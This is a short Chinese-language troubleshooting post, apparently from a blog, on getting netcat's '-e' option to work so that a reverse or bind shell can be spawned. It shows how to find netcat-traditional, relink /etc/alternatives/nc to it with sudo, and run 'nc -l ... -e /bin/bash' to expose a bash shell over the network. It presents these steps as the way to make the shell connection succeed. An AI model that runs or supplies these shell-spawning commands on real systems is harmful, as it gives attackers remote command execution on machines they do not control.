nc: invalid option — ‘e’
nc反弹shell的时候出现错误
nc: invalid option — ‘e’
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
以下是修复思路
$ which nc /bin/nc $ ls -ld /bin/nc lrwxrwxrwx 1 root root 20 10月 24 2012 /bin/nc -> /etc/alternatives/nc $ ls -ld /etc/alternatives/nc lrwxrwxrwx 1 root root 19 2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional 实际上我们要找的这是个文件 /bin/nc.traditional : $ /bin/nc.openbsd -l -p 9999 -e /bin/bash /bin/nc.openbsd: invalid option -- 'e' usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]] $ /bin/nc.traditional -l -p 9999 -e /bin/bash ^C $ |
结合以上的输出消息，我们可以通过下面这段命令修复:
$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc |
修复后再试试，没错误提示就shell反弹成功！
$ nc -l 192.168.2.180 -p 12345 -e /bin/bash |
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